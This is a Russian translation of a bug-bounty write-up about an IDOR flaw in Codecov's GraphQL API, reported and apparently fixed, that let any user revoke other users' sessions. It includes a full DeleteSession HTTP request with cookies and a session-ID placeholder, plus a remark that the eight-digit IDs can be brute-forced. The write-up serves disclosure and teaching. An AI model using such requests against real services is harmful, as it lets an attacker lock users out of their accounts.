Обсудим уязвимость в системе управления сессиями Codecov. Эта уязвимость относится к категории «небезопасная прямая ссылка на объект (IDOR)» и позволяет злоумышленникам удалять сессии других пользователей, что приводит к несанкционированному отзыву сессий.

Понимание базовой системы: Codecov

Codecov — это популярный инструмент покрытия кода, который интегрируется с различными сервисами непрерывной интеграции (CI), помогая разработчикам и организациям обеспечить высокое качество кода. Он предоставляет подробные отчеты о покрытии и облегчает обнаружение проблем в коде. Однако критическая уязвимость в системе управления сессиями Codecov позволяла неавторизованным пользователям завершать сессии других пользователей, затрудняя им доступ к платформе.

Уязвимость: несанкционированный отзыв сессии

В Codecov управление сессиями осуществляется через конечные точки GraphQL, что позволяет пользователям сохранять постоянный доступ к своим аккаунтам. Я обнаружил, что злоумышленник, путем манипуляции определенными параметрами в запросах на управление сессиями, может отозвать сессии любого пользователя. Эта уязвимость является ярким примером проблемы небезопасной прямой ссылки на объект (Insecure Direct Object Reference, IDOR), когда прямой доступ к объектам не защищен должным образом, что позволяет совершать несанкционированные действия.

Понимание типа ошибки: небезопасная прямая ссылка на объект (IDOR)

Итак, речь идет о такой уязвимости, как небезопасная прямая ссылка на объект — Insecure Direct Object Reference (IDOR). IDOR возникает, когда приложение раскрывает ссылку на внутренний объект, например файл или ключ базы данных, таким образом, что неавторизованные пользователи могут манипулировать им и выполнять действия, для которых у них нет разрешений. В данном случае конечная точка GraphQL Codecov позволяет напрямую манипулировать идентификаторами сессий, что приводит к несанкционированному завершению сессий.

Этапы воспроизведения проблемной ситуации

  • Вход на платформу Codecov под учетной записью пользователя.
  • Использование следующего POST-запроса HTTP к конечной точке GraphQL (/graphql/gh) с необходимыми параметрами для удаления сессии:
POST /graphql/gh HTTP/2
Host: api.codecov.io
Cookie: csrftoken=AEtIUAZfqtvzw8xQyIe4JWXdRUBqTIXq; sessionid=aqcpl41eemtojsxc5mvj3zona3gpkiuu; ajs_anonymous_id=c2c9aba0-4b31-425b-bba2-de417627ff54; _marketing_tags="utm_department=marketing&utm_source=direct"; session_expiry=2024-04-29T15:37:57.059539Z; _gcl_au=1.1.829559452.1713411868.314166038.1714398110.1714398109
Content-Length: 241
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Baggage: sentry-environment=production,sentry-public_key=63d24de2afa542ca8779d1ee5d395abc,sentry-trace_id=61bce3ab562546bb867b761e93f14c3f,sentry-sample_rate=0.2,sentry-sampled=true
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json; charset=utf-8
Accept: application/json
Token-Type: github-token
Sentry-Trace: 56d90707f39a4f569d78148fd442ffa5-b9b5169d5e118dea-1
Sec-Ch-Ua-Platform: "Linux"
Origin: https://app.codecov.io
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://app.codecov.io/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

{"query":"\n      mutation DeleteSession($input: DeleteSessionInput!) {\n        deleteSession(input: $input) {\n          error {\n            __typename\n          }\n        }\n      }\n    ","variables":{"input":{"sessionid": TARGET_SESSION_ID}}}
  • Замена [TARGET_SESSION_ID] на фактический идентификатор сессии целевого пользователя.

Идентификаторы сессий, используемые Codecov, относительно короткие — они состоят всего из восьми цифр. Такая предсказуемость делает их уязвимыми для атак методом «грубой силы», когда злоумышленник может систематически угадывать или перебирать возможные комбинации, чтобы определить правильный идентификатор сессии.

  • Отправка запроса на удаление сессии целевого пользователя. Ответ, указывающий на успех, подтверждает отзыв сессии.

Последствия

Эта уязвимость связана со значительным риском для безопасности пользователей Codecov, поскольку позволяет злоумышленникам нарушать конфиденциальность, целостность и доступность учетных записей путем отзыва сессий легитимных пользователей. Вот основные последствия таких атак.

  • Несанкционированное завершение сессии. Злоумышленники могут затруднить доступ пользователей, отменяя их сессии без надлежащей авторизации.
  • Потеря пользователями контроля. Легитимные пользователи теряют контроль над своими сессиями.
  • Отказ в обслуживании. Возможность прерывать сессии может стать инструментом для лишения пользователей доступа к своим учетным записям, что влияет на их способность эффективно работать.

Реакция и решение проблемы

Обнаружив эту уязвимость, я незамедлительно сообщил о ней команде безопасности Codecov. Проблема была рассмотрена, и я получил за это вознаграждение в размере 850 долларов. Codecov внедрила исправление для обеспечения того, чтобы действия по отзыву сессии должным образом ограничивались и подлежали аутентификации.

Читайте также:

Читайте нас в Telegram, VK и Дзен


Перевод статьи Abhi Sharma: 850$ IDOR:Unauthorized Session Revokation of any user

Предыдущая статья5 правил ESLint для применения новейших возможностей Angular